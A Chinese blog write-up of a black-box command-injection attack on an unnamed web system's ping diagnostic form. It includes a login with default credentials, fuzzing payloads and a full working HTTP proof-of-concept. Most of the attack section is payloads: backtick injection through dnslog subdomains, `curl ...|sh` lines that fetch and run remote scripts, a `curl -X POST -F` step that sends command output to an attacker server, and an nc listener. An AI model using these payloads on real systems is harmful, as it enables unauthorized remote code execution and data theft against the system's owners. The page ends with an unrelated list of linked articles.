某次黑盒rce

简介: 看见公众号发了个day 搜了一下发现全网首发这个rce啊 其他地方发的都是任意文件读取 文件读取嘛 这个洞没啥太大的卵用 其实 但我看到是php的系统 任意文件读取有时候还是能出货的 读点源码审一下还是可以的

background

看见公众号发了个day 搜了一下发现全网首发这个rce啊 其他地方发的都是任意文件读取 文件读取嘛 这个洞没啥太大的卵用 其实 但我看到是php的系统 任意文件读取有时候还是能出货的 读点源码审一下还是可以的

image.png

这个rce的poc要钱 其他有的公众号文件读取的还是不要钱的

image.png

fuzz

这里主要记录自己测试的过程

准备读点代码来看的 但是运气很好 一来就若进去了一个系统

admin 123456 yyds

image.png

这输入不了 是因为我之前fuzz的时候整废了 这个口子命令有问题就废了 只是前端废了 输入不了了

正常发两个包 

image.png

看看数据包

image.png

正常fuzz

addr_value=219&pingname=127.0.0.1|whoami&pingtime=2&packetsize=1
addr_value=219&pingname=127.0.0.1;whoami&pingtime=2&packetsize=1

没反应 回显是白的 前端还卡死了

盲打ping dns

addr_value=219&pingname=127.0.0.1|ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1
addr_value=219&pingname=127.0.0.1;ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1

没反应 一般在这里我以前可能会觉得没货了

这里我直接打一下

addr_value=219&pingname=2222.o6cdky.dnslog.cn&pingtime=2&packetsize=1

dns没货 但是奇怪的是本地竟然有结果

image.png

不知道为什么这里dns没货 明明已经解析dns了呀 咋没记录

但是这里发现二级域名是可以回显的

addr_value=219&pingname=`whoami`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

出货

image.png

addr_value=219&pingname=`ping qqq.24i49v.dnslog.cn`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

于是呼反引号里面再打 但是没货啊

就在这里执行命令了,但是很多命令没法执行呀 这个回显太奇葩了 很多东西都显示不出来 

测了一下正常域名这里是出网的 那干脆打一下vps

addr_value=219&pingname=`curl x.x.x.x:1234`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

出货了 那就直接oob?

python3 -m http.server

里面内容放 文件名1

curl http://xxxx:8000/2`ls -al >1.txt`

然后在搞另一个文件 把结果带出去 文件名2

curl -X POST -F xx=@1.txt http://xxxxx:8001


nc起一个端口

nc -l 8001

burp里发包

addr_value=219&pingname=`curl xxxxx:8000/1|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

首先会访问1里面的内容并且执行 1里就直接把命令结果写到1.txt了 接着访问2 执行传1.txt的操作

image.png

至此 出货 成功外带数据 但这个站不是php写的 不知道公众号的这些东西是怎么来的

image.png

完整poc

POST /main/deal HTTP/1.1
Host: 
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

addr_value=219&pingname=`curl x.x.x.x:8000/2|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1
相关文章
|
7月前
|
存储 算法 安全
JWT深度解析:现代Web身份验证的通行证为什么现在都是JWT为什么要restful-优雅草卓伊凡
JWT深度解析:现代Web身份验证的通行证为什么现在都是JWT为什么要restful-优雅草卓伊凡
356 41
JWT深度解析:现代Web身份验证的通行证为什么现在都是JWT为什么要restful-优雅草卓伊凡
|
8月前
|
人工智能 JSON 自然语言处理
除了MCP我们还有什么?
本文详细描述 agents.json ,涵盖了其背景、工作原理、与 OpenAPI 的关系等内容。
588 94
除了MCP我们还有什么?
|
8月前
|
人工智能 运维 JavaScript
当AI学会了自我升级,天网还会远吗?
文章通过一个模拟侦探游戏的例子展示了AI如何通过“自我升级”和动态执行代码的能力来解决复杂问题。
322 33
当AI学会了自我升级,天网还会远吗?
|
7月前
|
存储 人工智能 安全
MCP 规范新版本特性全景解析与落地实践
MCP Specification 在 2025-03-26 发布了最新的版本,本文对主要的改动进行详细介绍和解释
1466 145
|
8月前
|
人工智能 自然语言处理 供应链
为什么一定要做Agent智能体?
作者通过深入分析、理解、归纳,最后解答了“为什么一定要做Agent”这个问题。
1337 41
为什么一定要做Agent智能体?
|
7月前
|
人工智能 文字识别 算法
搬运5款让你眼前一亮的神器软件
本文推荐了五款小众但实用的软件,涵盖多种需求:GoodSync实现跨端文件同步与备份,采用高效加密技术;Cryptomator提供云盘文件加密保护,确保数据安全;3171.cn集成多种在线AI工具,助力办公学习;OneNote作为全能笔记工具,支持多平台协作与智能管理;EasyRecovery专注数据恢复,解决误删或格式化问题。这些软件功能强大且经过测试,值得尝试。
280 17
搬运5款让你眼前一亮的神器软件
|
7月前
|
人工智能 前端开发 JavaScript
webpack-dev-server代理后端一直报CORS跨域或500错误
在Vue项目中使用Webpack的devServer代理后端接口时,遇到500错误。问题根源在于浏览器请求中携带的Origin头导致服务器报错,而Postman测试正常。通过分析发现,调整或移除Origin头可解决问题。解决办法包括:1) 在代理配置中添加正确的Origin头;2) 删除请求中的Origin头。文章还深入解析了Origin头的作用及changeOrigin配置的实际意义,并附带相关文档链接,帮助开发者更好地理解与解决类似跨域问题。
466 20
|
8月前
|
机器学习/深度学习 人工智能 算法
HumanRig:高德地图提出在大规模数据集中学习人形角色的自动绑定技术,数据集开源!
HumanRig:高德地图提出在大规模数据集中学习人形角色的自动绑定技术,数据集开源!
478 88
|
7月前
|
数据采集 人工智能 搜索推荐
从AI助手到个性化数字分身:WeClone & Second Me打造本地化、私有化的个性化AI代理系统
从AI助手到个性化数字分身:WeClone & Second Me打造本地化、私有化的个性化AI代理系统
493 23
|
7月前
|
数据可视化 数据处理
CUT&Tag 数据处理和分析教程(9)
CUT&Tag 数据处理和分析教程(9)
215 15
CUT&Tag 数据处理和分析教程(9)